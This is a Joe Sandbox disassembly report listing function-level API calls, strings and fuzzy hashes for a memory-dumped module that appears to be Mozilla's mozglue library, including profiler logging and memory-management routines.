API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 71fcade67b346586e84b63a3444d5128399d1e45dde2b5b9d0f54c759aa1f3dc
Instruction ID: b7e830ed02002919a2bc9569e31b28600410df77c2b036ada9926d7083625f05
Opcode Fuzzy Hash: 71fcade67b346586e84b63a3444d5128399d1e45dde2b5b9d0f54c759aa1f3dc
Instruction Fuzzy Hash: BDC1A231E0112D8BEB248B28CC90BADB772AF51318F1587A9D51AABBC1D731DE85CF51

Function 6C989420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
__Init_thread_footer.LIBCMT ref: 6C98949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C98946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C989459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C98947D

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: b83d7fd5e987328cece2c75499157dab6238963f3b161b5096c652ca8025d942
Instruction ID: b87f81a51404f30ff00ead4b79497915c1300fd60213e65ef3fb519e79b07f15
Opcode Fuzzy Hash: b83d7fd5e987328cece2c75499157dab6238963f3b161b5096c652ca8025d942
Instruction Fuzzy Hash: E4017B70B05100CBDF00DB7CD819A4533B8EB4632CF250937EC0A87B92EB39EA64895B

Function 6C990F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C990F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C990F88
GetCurrentThreadId.KERNEL32 ref: 6C990FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C991067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9910A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C99114B

Part of subcall function 6C988AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9A1563), ref: 6C988BD5

free.MOZGLUE(?), ref: 6C991174
free.MOZGLUE(?), ref: 6C991186

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: af57d31b24abdb65f21dbf9dda421e65a1783ab031e704c5c7f61aab8edd4cc0
Instruction ID: 8a2bbcdab79e61158343ec30d60ec92753c8512df4e6d1c210581bde8364cbad
Opcode Fuzzy Hash: af57d31b24abdb65f21dbf9dda421e65a1783ab031e704c5c7f61aab8edd4cc0
Instruction Fuzzy Hash: EF61C275A083409BDB10CF25C88079AB7F9BFEA308F18891DE89957712DB31E559CB91

Function 6C94B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B6AC

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C94B61E), ref: 6C94B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B79A

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: fa8da97f7f61ddf91125bcfc334dcc668acda6153af36cb43841b35531f23240
Instruction ID: bc063f6ec2667b5d439b1262637a941ed905764ed3b7e9ac730a0817db084d80
Opcode Fuzzy Hash: fa8da97f7f61ddf91125bcfc334dcc668acda6153af36cb43841b35531f23240
Instruction Fuzzy Hash: DF41C5B2D005159FCB04DF68DC905AFB7B9BF54324F254629E825E7B80E731E9148BD1

Function 6C94EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9C5104), ref: 6C94EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C94EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C94EFEC
free.MOZGLUE(?), ref: 6C94F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C94F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C94F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94F065
moz_xmalloc.MOZGLUE ref: 6C94F072

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 7f0b06c05bd2c4401fb65abd7404d41cb1bc46f963921907dc778529ea470e90
Instruction ID: 54931a4a19d42d6a95647bf470a395a85955b114bb4b4158e8f4521a56cfe8fd
Opcode Fuzzy Hash: 7f0b06c05bd2c4401fb65abd7404d41cb1bc46f963921907dc778529ea470e90
Instruction Fuzzy Hash: 3C41D7B1A002069FCB08CF68D8909BF7769BF95318B24462CE815DB794EB71E915C7E1

Function 6C9BB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9BB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9BB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9BB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9BB5F4
__Init_thread_footer.LIBCMT ref: 6C9BB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9BB61F
std::_Facet_Register.LIBCPMT ref: 6C9BB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BB655

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 70d648417d07f3442c2db96d1644467b9731c36292381c8cc85229f432a54b12
Instruction ID: 7573a20c6fffa941425a63c37a98d68ff1c69f0439ebe54eb6d683f56deea2be
Opcode Fuzzy Hash: 70d648417d07f3442c2db96d1644467b9731c36292381c8cc85229f432a54b12
Instruction Fuzzy Hash: 4C31A771B04205DBCF10DF69C8989AEB7B5FF99325B240515D906A7780DB30EA4ACFD2

Function 6C959830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9A7ABE), ref: 6C95985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9A7ABE), ref: 6C9598A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C959909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C959918
free.MOZGLUE(?), ref: 6C959975

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 6c6c0d55f1dd748c129568b4adc859feadce7573ea166ba18827a532c42f3ca1
Instruction ID: 748725de895be79a4bb818d2efccbe9aa81d119c0d005a7f10d3a731a2e8d37d
Opcode Fuzzy Hash: 6c6c0d55f1dd748c129568b4adc859feadce7573ea166ba18827a532c42f3ca1
Instruction Fuzzy Hash: 9C71BCB46047068FD725CF28C490966B7F5FF4A328BA54AADD85A8BB90D331F812CB51

Function 6C95B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C99CC83,?,?,?,?,?,?,?,?,?,6C99BCAE,?,?,6C98DC2C), ref: 6C95B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C99CC83,?,?,?,?,?,?,?,?,?,6C99BCAE,?,?,6C98DC2C), ref: 6C95B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C99CC83,?,?,?,?,?,?,?,?,?,6C99BCAE), ref: 6C95B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C99CC83,?,?,?,?,?,?,?,?,?,6C99BCAE,?,?,6C98DC2C), ref: 6C95B896

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: a53203374129de9e27046d0cd1a9fd7f3357bff651bca933197cabeb8bcfc5fa
Instruction ID: e8282bfa29d920e2776cf145e50472b08b74d5503aa6fec5e7ded5683165fde4
Opcode Fuzzy Hash: a53203374129de9e27046d0cd1a9fd7f3357bff651bca933197cabeb8bcfc5fa
Instruction Fuzzy Hash: 87518B757046048FCB14CF59C594A2ABBF9FF89318FA9859DEA8A97341C731EC11CB80

Function 6C9927E0 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99289A
free.MOZGLUE(?,?,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C9928F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C992910
free.MOZGLUE(00000001,?,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(DuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWo,?,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99294E

Strings

DuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWo, xrefs: 6C9927E3, 6C99294D

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: freemalloc
String ID: DuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWo
API String ID: 3061335427-3463337686
Opcode ID: ce3fd913100685f989a132b55022347e39e244c52dda5e2a372952d814f95c98
Instruction ID: 6904d22df5ed6f4102c6ed5285dd8d9f233eb17988ef2199029a08b2a5aebd3a
Opcode Fuzzy Hash: ce3fd913100685f989a132b55022347e39e244c52dda5e2a372952d814f95c98
Instruction Fuzzy Hash: E241C2B1A046068FEB14CF68D98476A77FAFF45308F280939D556EB740E731E904CB91

Function 6C991D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C991D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C991BE3,?,?,6C991D96,00000000), ref: 6C991D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C991BE3,?,?,6C991D96,00000000), ref: 6C991D4C
GetCurrentThreadId.KERNEL32 ref: 6C991DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C991DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C991DDA

Part of subcall function 6C991EF0: GetCurrentThreadId.KERNEL32 ref: 6C991F03
Part of subcall function 6C991EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C991DF2,00000000,00000000), ref: 6C991F0C
Part of subcall function 6C991EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C991F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C991DF4

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: e31009b5852d04f63415b10edc7f8f56c60068b50780f588c7d774e7173f00f4
Instruction ID: 649709f1a8966d7b26ab9098dabdf5c339d0870affd2f40079732c87280a980a
Opcode Fuzzy Hash: e31009b5852d04f63415b10edc7f8f56c60068b50780f588c7d774e7173f00f4
Instruction Fuzzy Hash: DB4189B5205700AFCB10DF28C488A56BBF9FF99718F24442EE95A87B41CB31F954CB91

Function 6C9538A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9CE220,?,?,?,?,6C953899,?), ref: 6C9538B2
ReleaseSRWLockExclusive.KERNEL32(6C9CE220,?,?,?,6C953899,?), ref: 6C9538C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C953899,?), ref: 6C9538F1
RtlFreeHeap.NTDLL ref: 6C953920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C953899,?), ref: 6C95392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C953899,?), ref: 6C953943
RtlFreeHeap.NTDLL ref: 6C95396E

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 30392a40ca462f51321718fa15678988349c0d63e221219ae29c8cdcb56f81c4
Instruction ID: c9fa8a9899dc1a568ef002dfef1e94ff77461413e6cd35539626467ebb2e7720
Opcode Fuzzy Hash: 30392a40ca462f51321718fa15678988349c0d63e221219ae29c8cdcb56f81c4
Instruction Fuzzy Hash: 472124B2600714EFD720DF25C880B96B7B9FF55328F658469E96AA7B10C730F985CB90

Function 6C9884E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9884F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C98850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C98851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C98855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C98856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9885AC

Part of subcall function 6C987670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C98767F
Part of subcall function 6C987670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C987693
Part of subcall function 6C987670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9876A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9885B2

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cd00ac325d1841108043d9b753e09bb7e673fdcd3b6aee7b42cbbace5bdf4da0
Instruction ID: c9b755243feb39f4e02d2fe0e3b6277574dd6e06f81c4ff457cc97c617f2ce0e
Opcode Fuzzy Hash: cd00ac325d1841108043d9b753e09bb7e673fdcd3b6aee7b42cbbace5bdf4da0
Instruction Fuzzy Hash: A02192752016019FDB18DB24C888A5AB7B9BF4430CF244C2DE55BC3B81DB31FA59CB65

Function 6C951640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C951699
VerSetConditionMask.NTDLL ref: 6C9516CB
VerSetConditionMask.NTDLL ref: 6C9516D7
VerSetConditionMask.NTDLL ref: 6C9516DE
VerSetConditionMask.NTDLL ref: 6C9516E5
VerSetConditionMask.NTDLL ref: 6C9516EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9516F9

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 3fdb76cb76d028ee9276c956ee699a44042d6a9b812cfab4a40bc5b91b57d34b
Instruction ID: 8e54770b2637554d1a1dc82fa625995c62e8a9574cdb18ad1807d7e5f564b2e5
Opcode Fuzzy Hash: 3fdb76cb76d028ee9276c956ee699a44042d6a9b812cfab4a40bc5b91b57d34b
Instruction Fuzzy Hash: 5F21D5B07442487FEB10AB648C85FBB737CDF96704F404528F6059B6C0C674DE6487A2

Function 6C98F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C98F598), ref: 6C98F621

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

GetCurrentThreadId.KERNEL32 ref: 6C98F637
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000,?,6C98F598), ref: 6C98F645
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000,?,6C98F598), ref: 6C98F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C98F62A

Memory Dump Source

